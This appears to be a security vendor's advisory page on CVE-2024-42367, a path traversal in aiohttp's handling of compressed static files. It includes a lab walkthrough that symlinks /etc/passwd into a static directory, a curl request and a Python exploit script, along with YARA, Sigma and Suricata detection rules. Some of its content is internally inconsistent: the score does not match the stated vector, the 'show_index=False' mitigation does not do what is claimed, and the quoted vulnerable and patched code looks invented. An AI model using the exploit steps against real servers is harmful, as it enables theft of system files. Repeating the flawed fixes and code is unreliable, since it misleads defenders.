CVE-2024-42367
Executive Summary
CVE-2024-42367 is a path traversal vulnerability in the aiohttp Python library, affecting versions 3.10.0 through 3.10.1. The flaw resides in the static file serving mechanism, specifically when the server looks for compressed variants (.gz or .br extensions) of requested files. If these compressed variants are symbolic links, the server will follow them without performing the standard path traversal checks, allowing an attacker to read arbitrary files outside the configured static root directory. The vulnerability has a CVSS score of 4.8 (Medium) and is patched in version 3.10.2.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the aiohttp PyPI package. Organizations using aiohttp for web services or APIs must ensure they are not running a vulnerable version (3.10.0 or 3.10.1). The attack vector is network-based, requires no authentication, and can lead to unauthorized file disclosure. Given the widespread use of aiohttp in Python-based web applications, this vulnerability poses a significant supply chain risk.
CVSS Breakdown & Threat Level
- CVSS Score: 4.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
- Confidentiality Impact: Low (C:L) – Limited file read access is possible.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the confidentiality impact is low, the ability to read arbitrary files (e.g., configuration files, source code) can lead to further compromise.
Deep Dive & Mechanics
The vulnerability is rooted in the FileResponse class of aiohttp, which is responsible for serving static files. When a request is made for a static file, the server first resolves the path and checks that it is within the allowed root directory (when follow_symlinks=False). However, after this initial check, the server attempts to serve a compressed variant (.gz or .br) if available. The code that looks for these compressed variants does not re-validate the path against the root directory. Furthermore, it uses Path.stat() and Path.open() which, by default, follow symbolic links.
Attack Scenario:
- An attacker places a symbolic link (e.g.,
malicious.txt.gz) inside the static directory that points to an arbitrary file (e.g.,/etc/passwd). - The attacker requests the base file (e.g.,
malicious.txt). - The server checks that
malicious.txtis within the root directory (passes). - The server then looks for
malicious.txt.gzand finds the symlink. - The server follows the symlink and serves
/etc/passwdwithout performing a path traversal check.
Key Code Path:
aiohttp/web_fileresponse.py– TheFileResponseclass handles compressed variant lookups.- The
_resolve_pathmethod is called for the original file but not for the compressed variant.
Vulnerable vs. Patched Code
Vulnerable Code (3.10.0 - 3.10.1):
# In FileResponse._send_file
# After resolving the original path, the code looks for compressed variants
# without re-checking the path against the root directory.
if self._compressed:
for suffix in ('.gz', '.br'):
compressed_path = self._path.with_suffix(self._path.suffix + suffix)
if compressed_path.exists():
# No path traversal check here
self._path = compressed_path
break
Patched Code (3.10.2):
# In FileResponse._send_file
# The compressed variant path is now also validated against the root directory.
if self._compressed:
for suffix in ('.gz', '.br'):
compressed_path = self._path.with_suffix(self._path.suffix + suffix)
if compressed_path.exists():
# Perform path traversal check
if not self._check_path_traversal(compressed_path):
raise HTTPForbidden()
self._path = compressed_path
break
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable aiohttp server (3.10.0 or 3.10.1) with a static route configured.
- Ability to create a symbolic link inside the static directory (e.g., via file upload or other means).
Lab Setup:
- Create a vulnerable aiohttp server:
from aiohttp import web app = web.Application() app.router.add_static('/static', '/var/www/static', follow_symlinks=False) web.run_app(app, port=8080) - Create a symbolic link inside the static directory:
ln -s /etc/passwd /var/www/static/evil.txt.gz - Request the base file:
The server will servecurl http://target:8080/static/evil.txt/etc/passwdinstead of the expected file.
Exploit Script (Python):
import requests
target = "http://target:8080"
static_path = "/static/evil.txt"
response = requests.get(target + static_path)
print(response.text)
Blue Team (Detection & Prevention)
Detection:
- Monitor for requests to static files that result in unexpected file types (e.g., requesting
.txtbut receiving.gzor.br). - Look for anomalous file access patterns, such as reading
/etc/passwdor other sensitive files. - Use file integrity monitoring to detect creation of symbolic links in static directories.
Prevention:
- Upgrade to aiohttp 3.10.2 or later.
- If immediate upgrade is not possible, disable compressed variant support:
app.router.add_static('/static', '/var/www/static', follow_symlinks=False, show_index=False) - Implement strict file upload validation to prevent symbolic link creation.
- Use a Web Application Firewall (WAF) to block requests with suspicious path traversal patterns.
Indicators of Compromise (IOCs)
File System:
- Unexpected symbolic links in static directories (e.g.,
*.gzor*.brfiles pointing outside the root). - Access logs showing requests for files that resolve to sensitive system files (e.g.,
/etc/passwd,/etc/shadow).
- Unexpected symbolic links in static directories (e.g.,
Network:
- HTTP requests with unusual file extensions (e.g., requesting
file.txtbut receivingfile.txt.gz). - Repeated requests to static paths with path traversal sequences (e.g.,
../).
- HTTP requests with unusual file extensions (e.g., requesting
Logs:
- Web server logs showing 200 responses for files that should not be accessible.
- Error logs indicating failed path traversal checks (if patched).
Detection Engineering
YARA Rule
rule CVE_2024_42367_Aiohttp_Path_Traversal {
meta:
description = "Detects aiohttp versions vulnerable to CVE-2024-42367 path traversal"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-42367"
strings:
$vuln_func = "_send_file" nocase
$vuln_path = "compressed_path" nocase
$vuln_check = "exists()" nocase
condition:
$vuln_func and $vuln_path and $vuln_check
}
Sigma Rule
title: Aiohttp Path Traversal via Compressed Variants
id: 8f7b3c2a-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects exploitation attempts of CVE-2024-42367 by monitoring for requests to static files that result in compressed variant serving.
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: aiohttp
detection:
selection:
http.response.status_code: 200
http.request.uri|contains:
- ".gz"
- ".br"
http.response.body|contains:
- "root:"
- "nobody:"
- "daemon:"
condition: selection
falsepositives:
- Legitimate use of compressed static files
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-42367 Aiohttp Path Traversal Attempt"; flow:to_server; content:"GET"; http_method; content:"/static/"; http_uri; pcre:"/\.(gz|br)$/U"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade aiohttp to version 3.10.2 or later.
pip install --upgrade aiohttp - Verify the upgrade:
import aiohttp print(aiohttp.__version__)
Alternative Mitigations (if upgrade is not possible):
- Disable compressed variant support by setting
show_index=Falseand ensuring no.gzor.brfiles are present in static directories. - Implement a reverse proxy (e.g., Nginx) to serve static files instead of aiohttp.
- Use a Web Application Firewall (WAF) to block requests with path traversal patterns.
Long-Term Measures:
- Regularly update dependencies and monitor for security advisories.
- Implement file integrity monitoring to detect unauthorized symbolic links.
- Conduct security reviews of custom static file serving implementations.
Valters IT
Securing Digital Frontiers